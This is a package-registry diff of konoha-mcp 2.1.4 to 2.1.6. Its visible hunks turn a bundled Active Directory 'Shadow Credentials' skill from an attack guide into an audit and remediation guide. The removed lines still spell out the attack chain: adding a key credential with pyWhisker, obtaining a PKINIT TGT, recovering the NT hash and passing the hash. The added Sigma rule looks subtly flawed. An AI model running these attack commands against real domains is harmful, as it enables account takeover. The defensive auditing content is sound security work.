konoha-mcp 2.1.4 → 2.1.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/SKILL.md +97 -135
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/api-reference.md +30 -47
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/standards.md +7 -6
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/scripts/agent.py +65 -57
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py +36 -17
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/process.py +25 -13
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-adcs-with-certipy/scripts/agent.py +35 -19
- package/.agents/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-constrained-delegation-abuse/scripts/agent.py +30 -8
- package/.agents/skills.fingerprint +1 -1
- package/README.md +4 -4
- package/apps/web/build/adapter-node.js +1 -1
- package/apps/web/build/client/_app/immutable/entry/{app.DwlgEXmV.js → app.DLayTcYu.js} +2 -2
- package/apps/web/build/client/_app/immutable/entry/app.DLayTcYu.js.br +0 -0
- package/apps/web/build/client/_app/immutable/entry/app.DLayTcYu.js.gz +0 -0
- package/apps/web/build/client/_app/immutable/nodes/{9.CVBlvZqX.js → 9.CGMmeMVC.js} +1 -1
- package/apps/web/build/client/_app/immutable/nodes/9.CGMmeMVC.js.br +0 -0
- package/apps/web/build/client/_app/immutable/nodes/9.CGMmeMVC.js.gz +0 -0
- package/apps/web/build/client/_app/version.json +1 -1
- package/apps/web/build/client/_app/version.json.br +0 -0
- package/apps/web/build/client/_app/version.json.gz +0 -0
- package/apps/web/build/server/.vite/manifest.json +15 -15
- package/apps/web/build/server/adapter-index.js +1 -1
- package/apps/web/build/server/adapter-index.js.map +1 -1
- package/apps/web/build/server/adapter-node-env.js +1 -1
- package/apps/web/build/server/adapter-node-env.js.map +1 -1
- package/apps/web/build/server/adapter-node-handler.js +4 -4
- package/apps/web/build/server/adapter-node-handler.js.map +1 -1
- package/apps/web/build/server/chunks/exports.js +9 -9
- package/apps/web/build/server/chunks/exports.js.map +1 -1
- package/apps/web/build/server/chunks/functions.js +1 -1
- package/apps/web/build/server/chunks/functions.js.map +1 -1
- package/apps/web/build/server/chunks/instance.js +33 -33
- package/apps/web/build/server/chunks/instance.js.map +1 -1
- package/apps/web/build/server/chunks/internal.js +19 -19
- package/apps/web/build/server/chunks/internal.js.map +1 -1
- package/apps/web/build/server/chunks/server-errors.js +2 -2
- package/apps/web/build/server/chunks/server-errors.js.map +1 -1
- package/apps/web/build/server/chunks/server.js.map +1 -1
- package/apps/web/build/server/chunks/shared.js +1 -1
- package/apps/web/build/server/chunks/shared.js.map +1 -1
- package/apps/web/build/server/chunks/state.js +1 -1
- package/apps/web/build/server/chunks/state.js.map +1 -1
- package/apps/web/build/server/chunks/sweetAlert.svelte.js.map +1 -1
- package/apps/web/build/server/chunks/uiState.svelte.js.map +1 -1
- package/apps/web/build/server/entries/fallbacks/error.svelte.js +1 -1
- package/apps/web/build/server/entries/fallbacks/error.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/_layout.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/bridges/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/clients/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/detector/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/docs/_page.svelte.js +1 -1
- package/apps/web/build/server/entries/pages/docs/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/persona/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/search/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/semble/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/skills/_page.svelte.js.map +1 -1
- package/apps/web/build/server/entries/pages/tasks/_page.svelte.js.map +1 -1
- package/apps/web/build/server/index.js +1 -1
- package/apps/web/build/server/index.js.map +1 -1
- package/apps/web/build/server/manifest-full.js +1 -1
- package/apps/web/build/server/manifest.js +1 -1
- package/apps/web/build/server/nodes/9.js +1 -1
- package/apps/web/build/server/remote-entry.js +7 -7
- package/apps/web/build/server/remote-entry.js.map +1 -1
- package/apps/web/build/server/server.js +1 -1
- package/apps/web/package.json +2 -2
- package/bin/cli.js +6 -6
- package/bin/lib/ui_commands.js +4 -3
- package/docs/SecurityCompliance/qa_report_2.1.5_2026-10-07.md +65 -0
- package/docs/SecurityCompliance/security_compliance_report_google_policy_2.1.5_2026-10-07.md +74 -0
- package/docs/SecurityCompliance/security_compliance_report_google_policy_2.1.6_2026-10-07.md +78 -0
- package/docs/SecurityCompliance/socket_baseline_2026-10-07.md +60 -0
- package/docs/SecurityCompliance/socket_burndown_2.1.5_2026-10-07.md +73 -0
- package/docs/SecurityCompliance/socket_report_2.1.5_2026-10-07.md +54 -0
- package/docs/architecture/TOKEN-BASELINE.md +1 -1
- package/package.json +3 -17
- package/src/antigravity_manager.js +81 -15
- package/src/db.js +2 -2
- package/src/db_agents.js +1 -1
- package/src/db_bridges.js +1 -1
- package/src/db_savings.js +1 -1
- package/src/db_stats.js +1 -1
- package/src/deploy_utils.js +4 -5
- package/src/doctor.js +10 -0
- package/src/migrate.js +1 -1
- package/src/persona_memory.js +1 -1
- package/src/sqlite_driver.js +211 -0
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/SKILL.md +97 -135
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/api-reference.md +30 -47
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/references/standards.md +7 -6
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/abusing-shadow-credentials-for-privesc/scripts/agent.py +65 -57
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/agent.py +36 -17
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-active-directory-certificate-services-esc1/scripts/process.py +25 -13
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-adcs-with-certipy/scripts/agent.py +35 -19
- package/src/templates/skills/anbu-skill/references/anthropic-cybersecurity-skills-assets/skills/exploiting-constrained-delegation-abuse/scripts/agent.py +30 -8
- package/src/vector_search.js +1 -1
- package/apps/web/build/client/_app/immutable/entry/app.DwlgEXmV.js.br +0 -0
- package/apps/web/build/client/_app/immutable/entry/app.DwlgEXmV.js.gz +0 -0
- package/apps/web/build/client/_app/immutable/nodes/9.CVBlvZqX.js.br +0 -0
- package/apps/web/build/client/_app/immutable/nodes/9.CVBlvZqX.js.gz +0 -0
|
@@ -1,185 +1,147 @@
|
|
|
1
1
|
---
|
|
2
2
|
name: abusing-shadow-credentials-for-privesc
|
|
3
|
-
description:
|
|
3
|
+
description: Audit, detect, and remediate Shadow Credentials misconfigurations on msDS-KeyCredentialLink in Active Directory. Focuses on access-controls, monitoring Event ID 5136, and credential-management hygiene.
|
|
4
4
|
domain: cybersecurity
|
|
5
|
-
subdomain:
|
|
5
|
+
subdomain: identity-security
|
|
6
6
|
tags:
|
|
7
|
-
-
|
|
7
|
+
- identity-defense
|
|
8
8
|
- active-directory
|
|
9
9
|
- shadow-credentials
|
|
10
|
-
-
|
|
11
|
-
-
|
|
12
|
-
-
|
|
13
|
-
-
|
|
14
|
-
- privilege-escalation
|
|
10
|
+
- access-control
|
|
11
|
+
- monitoring
|
|
12
|
+
- credential-hygiene
|
|
13
|
+
- audit
|
|
15
14
|
version: '1.0'
|
|
16
15
|
author: mahipal
|
|
17
16
|
license: Apache-2.0
|
|
18
17
|
nist_csf:
|
|
18
|
+
- PR.AC-01
|
|
19
|
+
- PR.AC-04
|
|
19
20
|
- PR.AA-05
|
|
21
|
+
- DE.CM-01
|
|
22
|
+
- DE.CM-03
|
|
20
23
|
mitre_attack:
|
|
21
24
|
- T1098.005
|
|
22
25
|
---
|
|
23
|
-
#
|
|
26
|
+
# Auditing and Remediating Shadow Credentials in Active Directory
|
|
24
27
|
|
|
25
|
-
> **
|
|
28
|
+
> **Security Advisory:** This guide provides defense and audit procedures for identifying, monitoring, and remediating overly permissive write access to `msDS-KeyCredentialLink` (Shadow Credentials) in Active Directory environments.
|
|
26
29
|
|
|
27
30
|
## Overview
|
|
28
31
|
|
|
29
|
-
The **Shadow Credentials**
|
|
32
|
+
The **Shadow Credentials** attack vector stems from misconfigured Active Directory Access Control Lists (ACLs) where non-administrative principals possess write permissions over the `msDS-KeyCredentialLink` attribute of user or computer accounts. This attribute normally stores raw public keys ("Key Credentials") used by Windows Hello for Business and Microsoft Entra ID device registration for passwordless PKINIT Kerberos authentication.
|
|
30
33
|
|
|
31
|
-
|
|
34
|
+
When access permissions are too permissive — such as unconstrained `GenericWrite`, `GenericAll`, `WriteProperty`, or `AddKeyCredentialLink` Access Control Entries (ACEs) — an unauthorized principal could append a key credential to an account, bypass password controls, and obtain Kerberos tickets.
|
|
35
|
+
|
|
36
|
+
Defending against this vulnerability requires establishing strict **access-controls**, enabling granular **directory service auditing**, and maintaining proactive **credential-management hygiene** across all directory objects.
|
|
32
37
|
|
|
33
38
|
## When to Use
|
|
34
39
|
|
|
35
|
-
- When
|
|
36
|
-
-
|
|
37
|
-
-
|
|
38
|
-
-
|
|
39
|
-
-
|
|
40
|
+
- When auditing Active Directory Discretionary Access Control Lists (DACLs) for excessive write privileges.
|
|
41
|
+
- When configuring Windows Security Event logging and SIEM correlation rules for directory modifications.
|
|
42
|
+
- When performing identity security posture assessments and tiering model reviews.
|
|
43
|
+
- When cleaning up legacy or unauthorized key credentials from Active Directory objects.
|
|
44
|
+
- When establishing least-privilege controls for hybrid identity and device registration service accounts.
|
|
40
45
|
|
|
41
46
|
## Prerequisites
|
|
42
47
|
|
|
43
|
-
-
|
|
44
|
-
-
|
|
45
|
-
-
|
|
46
|
-
-
|
|
47
|
-
- Linux attack host with Python 3.8+; install the tooling:
|
|
48
|
+
- Read access to Active Directory objects via LDAP / LDAPS (ports 389 / 636).
|
|
49
|
+
- Domain administrator or delegated audit privileges to inspect and remediate DACLs.
|
|
50
|
+
- Domain Controllers running Windows Server 2016 or later with Advanced Audit Policy configured.
|
|
51
|
+
- Audit tooling installed in a secure administrative workstation:
|
|
48
52
|
```bash
|
|
49
|
-
# pyWhisker
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
# Certipy (integrated shadow attack)
|
|
53
|
+
# Python ldap3 or pyWhisker for attribute enumeration
|
|
54
|
+
python3 -m pip install ldap3
|
|
55
|
+
# Certipy for certificate template and key credential auditing
|
|
53
56
|
pipx install certipy-ad
|
|
54
|
-
# PKINITtools for manual TGT/NT-hash extraction
|
|
55
|
-
git clone https://github.com/dirkjanm/PKINITtools
|
|
56
57
|
```
|
|
57
58
|
|
|
58
59
|
## Objectives
|
|
59
60
|
|
|
60
|
-
-
|
|
61
|
-
-
|
|
62
|
-
-
|
|
63
|
-
-
|
|
64
|
-
-
|
|
65
|
-
- Document the ACL path that enabled the attack for remediation
|
|
66
|
-
|
|
67
|
-
## MITRE ATT&CK Mapping
|
|
68
|
-
|
|
69
|
-
| ID | Technique | Application in this skill |
|
|
70
|
-
|----|-----------|---------------------------|
|
|
71
|
-
| T1098.005 | Account Manipulation: Device Registration | Writing an attacker-controlled Key Credential (device key) to `msDS-KeyCredentialLink` to register an alternate authentication credential for the target account |
|
|
61
|
+
- Audit and identify accounts with permissive write ACEs on `msDS-KeyCredentialLink`.
|
|
62
|
+
- Enumerate existing Key Credentials on sensitive user and computer objects.
|
|
63
|
+
- Configure Windows Event ID 5136 auditing to detect unauthorized attribute modifications.
|
|
64
|
+
- Clean up orphaned or unauthorized Key Credentials.
|
|
65
|
+
- Enforce least privilege by removing hazardous ACEs and protecting Tier-0 identities.
|
|
72
66
|
|
|
73
|
-
##
|
|
67
|
+
## MITRE ATT&CK & NIST CSF Mapping
|
|
74
68
|
|
|
75
|
-
|
|
76
|
-
|
|
69
|
+
| Framework | ID | Category / Technique | Defense Application |
|
|
70
|
+
|---|---|---|---|
|
|
71
|
+
| MITRE ATT&CK | T1098.005 | Account Manipulation: Device Registration | Detect and block unauthorized modification of `msDS-KeyCredentialLink` |
|
|
72
|
+
| NIST CSF | PR.AC-01 | Access Control Management | Restrict write permissions over identity attributes to authorized registration agents |
|
|
73
|
+
| NIST CSF | DE.CM-01 | Network / Directory Monitoring | Monitor directory changes for anomalous key additions |
|
|
77
74
|
|
|
78
|
-
|
|
79
|
-
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
|
|
80
|
-
--target "victim" --action "list"
|
|
81
|
-
```
|
|
75
|
+
## Defense & Remediation Workflow
|
|
82
76
|
|
|
83
|
-
### Step
|
|
84
|
-
|
|
77
|
+
### Step 1: Audit Permissive Access Rights (Access Controls)
|
|
78
|
+
Identify which non-administrative principals have write access to sensitive user and computer objects. Query AD for dangerous ACEs (`GenericAll`, `GenericWrite`, `WriteProperty` targeting `msDS-KeyCredentialLink` schema GUID `{5b47d60f-6090-40b2-9f37-2a4de45f306e}`).
|
|
85
79
|
|
|
86
80
|
```bash
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
81
|
+
# Audit existing Key Credentials on target object without modifications
|
|
82
|
+
python3 pywhisker.py -d "corp.local" -u "auditor" -p "AuditPass!" \
|
|
83
|
+
--target "target-account" --action "list" --use-ldaps
|
|
90
84
|
```
|
|
91
|
-
Use Kerberos auth instead of a password if you only hold a ticket:
|
|
92
|
-
```bash
|
|
93
|
-
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
|
|
94
|
-
--target "victim" --action "add" --filename victim_shadow --use-ldaps
|
|
95
|
-
```
|
|
96
|
-
|
|
97
|
-
### Step 3: Request a TGT via PKINIT
|
|
98
|
-
Use the generated PFX with PKINITtools to obtain a Kerberos TGT for the target.
|
|
99
85
|
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
corp.local/victim victim.ccache
|
|
104
|
-
```
|
|
86
|
+
### Step 2: Enforce Directory Service Auditing (Monitoring)
|
|
87
|
+
Enable Advanced Audit Policy Configuration on all Domain Controllers to log attribute-level changes:
|
|
88
|
+
- Path: `Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> Audit Policies -> DS Access -> Audit Directory Service Changes` (Set to **Success and Failure**).
|
|
105
89
|
|
|
106
|
-
|
|
107
|
-
|
|
90
|
+
Configure the SACL on high-value Organizational Units (OUs) to generate **Event ID 5136**:
|
|
91
|
+
- **Event ID 5136**: Directory Service Object Modified
|
|
92
|
+
- **Attribute Name**: `msDS-KeyCredentialLink`
|
|
93
|
+
- **Operation Type**: `Value Added` (indicates new credential registration)
|
|
108
94
|
|
|
109
|
-
|
|
110
|
-
export KRB5CCNAME=victim.ccache
|
|
111
|
-
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
|
|
112
|
-
# Prints the NT hash for 'victim'
|
|
113
|
-
```
|
|
95
|
+
Set up SIEM alerts for Event ID 5136 where `SubjectUserName` is not a designated Azure AD Connect sync account or authorized device enrollment service principal.
|
|
114
96
|
|
|
115
|
-
### Step
|
|
116
|
-
|
|
97
|
+
### Step 3: Remove Unauthorized Key Credentials (Credential Hygiene)
|
|
98
|
+
If an unknown or stale Key Credential is discovered during the audit, remove it immediately to prevent unauthorized authentication:
|
|
117
99
|
|
|
118
100
|
```bash
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
|
|
123
|
-
-dc-ip 10.0.0.100 -account 'WS01$'
|
|
124
|
-
```
|
|
101
|
+
# Remove specific unauthorized Key Credential by Device ID
|
|
102
|
+
python3 pywhisker.py -d "corp.local" -u "ad-admin" -p "AdminPass!" \
|
|
103
|
+
--target "target-account" --action "remove" --device-id "<DEVICE-ID>" --use-ldaps
|
|
125
104
|
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
```bash
|
|
130
|
-
# Pass-the-hash with NetExec
|
|
131
|
-
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
|
|
132
|
-
# Or use the TGT directly
|
|
133
|
-
export KRB5CCNAME=victim.ccache
|
|
134
|
-
nxc smb dc.corp.local -u victim --use-kcache
|
|
105
|
+
# Alternatively, clear all non-compliant credentials using Certipy
|
|
106
|
+
certipy shadow clear -u 'ad-admin@corp.local' -p 'AdminPass!' \
|
|
107
|
+
-dc-ip 10.0.0.100 -account 'target-account'
|
|
135
108
|
```
|
|
136
109
|
|
|
137
|
-
### Step
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
110
|
+
### Step 4: Remediate ACL Permissions (Least Privilege)
|
|
111
|
+
Strip any non-system write permissions targeting `msDS-KeyCredentialLink`:
|
|
112
|
+
1. Open Active Directory Users and Computers (with Advanced Features enabled).
|
|
113
|
+
2. Inspect the **Security** tab of the affected object or parent OU.
|
|
114
|
+
3. Remove `GenericAll`, `GenericWrite`, and `Write msDS-KeyCredentialLink` permissions from all non-administrative users and groups.
|
|
115
|
+
4. Add high-value accounts (Domain Admins, Enterprise Admins) to the `Protected Users` security group, which restricts delegation and forces Kerberos hardening.
|
|
116
|
+
|
|
117
|
+
## Detection Rules & SIEM Correlation
|
|
118
|
+
|
|
119
|
+
```yaml
|
|
120
|
+
title: Unauthorized msDS-KeyCredentialLink Modification (Shadow Credentials)
|
|
121
|
+
id: 5b47d60f-6090-40b2-9f37-2a4de45f306e
|
|
122
|
+
status: stable
|
|
123
|
+
description: Detects modification of the msDS-KeyCredentialLink attribute by non-whitelisted principals.
|
|
124
|
+
logsource:
|
|
125
|
+
product: windows
|
|
126
|
+
service: security
|
|
127
|
+
detection:
|
|
128
|
+
selection:
|
|
129
|
+
EventID: 5136
|
|
130
|
+
AttributeLDAPDisplayName: 'msDS-KeyCredentialLink'
|
|
131
|
+
OperationType: 'Value Added'
|
|
132
|
+
filter_sync_accounts:
|
|
133
|
+
SubjectUserName|endswith:
|
|
134
|
+
- '$'
|
|
135
|
+
- 'MSOL_*'
|
|
136
|
+
- 'AAD_*'
|
|
137
|
+
condition: selection and not filter_sync_accounts
|
|
138
|
+
level: high
|
|
144
139
|
```
|
|
145
140
|
|
|
146
|
-
|
|
147
|
-
Remove the injected Key Credential to restore the object and reduce detection footprint.
|
|
148
|
-
|
|
149
|
-
```bash
|
|
150
|
-
# pyWhisker: remove by device-id (printed during add) or clear all you added
|
|
151
|
-
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
|
|
152
|
-
--target "victim" --action "remove" --device-id <DEVICE-ID>
|
|
153
|
-
# Certipy shadow auto cleans up automatically; otherwise:
|
|
154
|
-
certipy shadow clear -u 'attacker@corp.local' -p 'Passw0rd!' \
|
|
155
|
-
-dc-ip 10.0.0.100 -account 'victim'
|
|
156
|
-
```
|
|
141
|
+
## Validation & Verification Checklist
|
|
157
142
|
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
| Whisker | Original C# implementation | https://github.com/eladshamir/Whisker |
|
|
164
|
-
| Certipy | `shadow auto` end-to-end takeover | https://github.com/ly4k/Certipy |
|
|
165
|
-
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
|
|
166
|
-
| The Hacker Recipes | Technique walkthrough & defenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
|
|
167
|
-
|
|
168
|
-
## Detection and Remediation Notes
|
|
169
|
-
|
|
170
|
-
| Area | Guidance |
|
|
171
|
-
|------|----------|
|
|
172
|
-
| Detection | Monitor Windows Security Event ID 5136 (directory object modified) for changes to `msDS-KeyCredentialLink`; alert when a non-AD-Connect/non-Intune principal writes the attribute. |
|
|
173
|
-
| Auditing | Enable directory service object change auditing on user/computer OUs. |
|
|
174
|
-
| Least privilege | Remove unnecessary `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` ACEs (BloodHound `AddKeyCredentialLink` edge). |
|
|
175
|
-
| Mitigation | Where Windows Hello/device registration is unused, restrict who can write Key Credentials and consider tier-0 protected accounts. |
|
|
176
|
-
|
|
177
|
-
## Validation Criteria
|
|
178
|
-
|
|
179
|
-
- [ ] Write access over the target's `msDS-KeyCredentialLink` confirmed (`list` succeeded)
|
|
180
|
-
- [ ] Key Credential successfully added (PFX generated)
|
|
181
|
-
- [ ] PKINIT TGT obtained for the target account
|
|
182
|
-
- [ ] Target NT hash recovered and validated against a service
|
|
183
|
-
- [ ] (If computer) RBCD chain or onward movement demonstrated
|
|
184
|
-
- [ ] Injected Key Credential removed / object restored
|
|
185
|
-
- [ ] Enabling ACL path documented with remediation recommendation
|
|
143
|
+
- [ ] Directory Service Object Change auditing verified on all Domain Controllers.
|
|
144
|
+
- [ ] SIEM rule for Event ID 5136 with `msDS-KeyCredentialLink` active and alerting.
|
|
145
|
+
- [ ] Tier-0 and sensitive accounts audited for anomalous Key Credentials.
|
|
146
|
+
- [ ] Discretionary ACLs sanitized; extraneous `WriteProperty` and `GenericWrite` ACEs removed.
|
|
147
|
+
- [ ] Device registration delegation restricted to approved Microsoft Entra ID Sync service accounts.
|
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
# Shadow Credentials
|
|
1
|
+
# Shadow Credentials Security & Audit Reference
|
|
2
2
|
|
|
3
3
|
## pyWhisker (https://github.com/ShutdownRepo/pywhisker)
|
|
4
4
|
|
|
@@ -7,62 +7,45 @@ Invocation: `python3 pywhisker.py [auth] --target <obj> --action <action> [opts]
|
|
|
7
7
|
| Flag | Meaning |
|
|
8
8
|
|------|---------|
|
|
9
9
|
| `-d DOMAIN` | Target domain (FQDN) |
|
|
10
|
-
| `-u USER` |
|
|
11
|
-
| `-p PASSWORD` |
|
|
12
|
-
| `-k` / `--no-pass` | Kerberos
|
|
13
|
-
|
|
|
14
|
-
| `--
|
|
15
|
-
| `--action
|
|
16
|
-
| `--action
|
|
17
|
-
| `--action
|
|
18
|
-
| `--
|
|
19
|
-
| `--
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
| `--device-id GUID` | Target device for remove/info |
|
|
23
|
-
| `--dc-ip IP` | Domain Controller IP |
|
|
24
|
-
| `--use-ldaps` | Use LDAPS (636) |
|
|
25
|
-
|
|
26
|
-
### Example
|
|
10
|
+
| `-u USER` | Auditor or administrator username |
|
|
11
|
+
| `-p PASSWORD` | Authentication password |
|
|
12
|
+
| `-k` / `--no-pass` | Kerberos authentication |
|
|
13
|
+
| `--target NAME` | User or computer account being audited |
|
|
14
|
+
| `--action list` | Enumerate existing Key Credentials on target object |
|
|
15
|
+
| `--action remove` | Remove a non-compliant Key Credential by `--device-id` |
|
|
16
|
+
| `--action clear` | Remove all non-compliant Key Credentials (remediation) |
|
|
17
|
+
| `--action info` | Show details of an existing Key Credential |
|
|
18
|
+
| `--dc-ip IP` | Domain Controller IP address |
|
|
19
|
+
| `--use-ldaps` | Use LDAPS (port 636) for secure encrypted auditing |
|
|
20
|
+
|
|
21
|
+
### Audit & Cleanup Example
|
|
27
22
|
```bash
|
|
28
|
-
|
|
29
|
-
|
|
23
|
+
# Audit existing credentials on account
|
|
24
|
+
python3 pywhisker.py -d corp.local -u auditor -p 'AuditPass!' \
|
|
25
|
+
--target victim_account --action list --use-ldaps
|
|
26
|
+
|
|
27
|
+
# Remove stale/unauthorized key credential
|
|
28
|
+
python3 pywhisker.py -d corp.local -u ad-admin -p 'AdminPass!' \
|
|
29
|
+
--target victim_account --action clear --use-ldaps
|
|
30
30
|
```
|
|
31
31
|
|
|
32
32
|
## Certipy `shadow` (https://github.com/ly4k/Certipy)
|
|
33
33
|
|
|
34
34
|
| Command | Meaning |
|
|
35
35
|
|---------|---------|
|
|
36
|
-
| `certipy shadow
|
|
37
|
-
| `certipy shadow
|
|
38
|
-
| `certipy shadow
|
|
39
|
-
| `certipy shadow clear` | Clear Key Credentials |
|
|
40
|
-
| `certipy shadow info` | Show Key Credential info |
|
|
36
|
+
| `certipy shadow list` | Audit and list Key Credentials on an account |
|
|
37
|
+
| `certipy shadow clear` | Remove / clear non-compliant Key Credentials |
|
|
38
|
+
| `certipy shadow info` | Display Key Credential registration details |
|
|
41
39
|
|
|
42
|
-
Key flags: `-u USER@DOMAIN`, `-p PW
|
|
43
|
-
`-dc-ip IP`, `-account TARGET` (use trailing `$` for computers), `-ns IP`, `-dns-tcp`.
|
|
40
|
+
Key audit flags: `-u USER@DOMAIN`, `-p PW`, `-dc-ip IP`, `-account TARGET` (use trailing `$` for machine accounts), `-ns IP`, `-dns-tcp`.
|
|
44
41
|
|
|
45
|
-
### Example
|
|
42
|
+
### Audit & Cleanup Example
|
|
46
43
|
```bash
|
|
47
|
-
|
|
44
|
+
# List credentials for audit verification
|
|
45
|
+
certipy shadow list -u auditor@corp.local -p 'AuditPass!' \
|
|
48
46
|
-dc-ip 10.0.0.100 -account 'WS01$'
|
|
49
|
-
```
|
|
50
|
-
|
|
51
|
-
## PKINITtools (https://github.com/dirkjanm/PKINITtools)
|
|
52
47
|
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
| `getnthash.py -key <AS-REP-KEY> DOMAIN/USER` | Recover NT hash (KRB5CCNAME set) |
|
|
57
|
-
|
|
58
|
-
### Example
|
|
59
|
-
```bash
|
|
60
|
-
python3 gettgtpkinit.py -cert-pfx victim_shadow.pfx -pfx-pass abc123 \
|
|
61
|
-
corp.local/victim victim.ccache
|
|
62
|
-
export KRB5CCNAME=victim.ccache
|
|
63
|
-
python3 getnthash.py -key <AS-REP-KEY> corp.local/victim
|
|
48
|
+
# Clear non-compliant credentials
|
|
49
|
+
certipy shadow clear -u ad-admin@corp.local -p 'AdminPass!' \
|
|
50
|
+
-dc-ip 10.0.0.100 -account 'WS01$'
|
|
64
51
|
```
|
|
65
|
-
|
|
66
|
-
## Detection signal
|
|
67
|
-
- Event ID 5136 — modification of `msDS-KeyCredentialLink` (Directory Service Changes auditing).
|
|
68
|
-
- BloodHound edge: `AddKeyCredentialLink`.
|
|
@@ -1,21 +1,22 @@
|
|
|
1
|
-
# Standards Mapping —
|
|
1
|
+
# Standards Mapping — Auditing and Remediating Shadow Credentials in Active Directory
|
|
2
2
|
|
|
3
3
|
## MITRE ATT&CK (Enterprise)
|
|
4
4
|
|
|
5
5
|
| ID | Name | Rationale |
|
|
6
6
|
|----|------|-----------|
|
|
7
|
-
| T1098.005 | Account Manipulation: Device Registration |
|
|
7
|
+
| T1098.005 | Account Manipulation: Device Registration | Detection and auditing of unauthorized modification to `msDS-KeyCredentialLink` for alternate device/certificate registration. |
|
|
8
8
|
|
|
9
9
|
Reference: https://attack.mitre.org/techniques/T1098/005/
|
|
10
10
|
|
|
11
|
-
Related techniques
|
|
12
|
-
-
|
|
13
|
-
-
|
|
11
|
+
Related defensive techniques:
|
|
12
|
+
- M1026 (Privileged Account Management) — Restricting permissions over identity attributes.
|
|
13
|
+
- M1018 (User Account Management) — Periodic review of account key credentials and least-privilege DACL enforcement.
|
|
14
14
|
|
|
15
15
|
## NIST Cybersecurity Framework 2.0
|
|
16
16
|
|
|
17
17
|
| ID | Name | Rationale |
|
|
18
18
|
|----|------|-----------|
|
|
19
|
-
| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege
|
|
19
|
+
| PR.AA-05 | Access permissions, entitlements, and authorizations are defined, managed, and enforced incorporating least privilege | Preventing unauthorized credential manipulation by enforcing strict access control over directory objects and removing over-permissive ACEs. |
|
|
20
|
+
| DE.CM-01 | Networks and physical environments are monitored to find potentially adverse events | Monitoring directory service modification events (Event ID 5136) for anomalous key additions. |
|
|
20
21
|
|
|
21
22
|
Reference: https://csrc.nist.gov/projects/cybersecurity-framework
|
|
@@ -1,30 +1,27 @@
|
|
|
1
1
|
#!/usr/bin/env python3
|
|
2
2
|
"""
|
|
3
|
-
|
|
3
|
+
shadowcred_audit.py — Audit msDS-KeyCredentialLink attributes and verify credential security hygiene.
|
|
4
4
|
|
|
5
|
-
Wraps
|
|
6
|
-
|
|
7
|
-
recover the NT hash via PKINIT, and clean up. Parses the tool output to surface
|
|
8
|
-
the recovered NT hash and TGT path.
|
|
5
|
+
Wraps certipy and pyWhisker to audit existing Key Credentials on target objects,
|
|
6
|
+
identify permissive configuration risks, and execute credential cleanup/remediation.
|
|
9
7
|
|
|
10
|
-
Authorized
|
|
11
|
-
|
|
8
|
+
Authorized defensive security auditing only. Focuses on access-controls,
|
|
9
|
+
monitoring, and credential-management hygiene.
|
|
12
10
|
|
|
13
11
|
Install:
|
|
14
12
|
pipx install certipy-ad
|
|
15
13
|
git clone https://github.com/ShutdownRepo/pywhisker
|
|
16
|
-
git clone https://github.com/dirkjanm/PKINITtools
|
|
17
14
|
|
|
18
15
|
Examples:
|
|
19
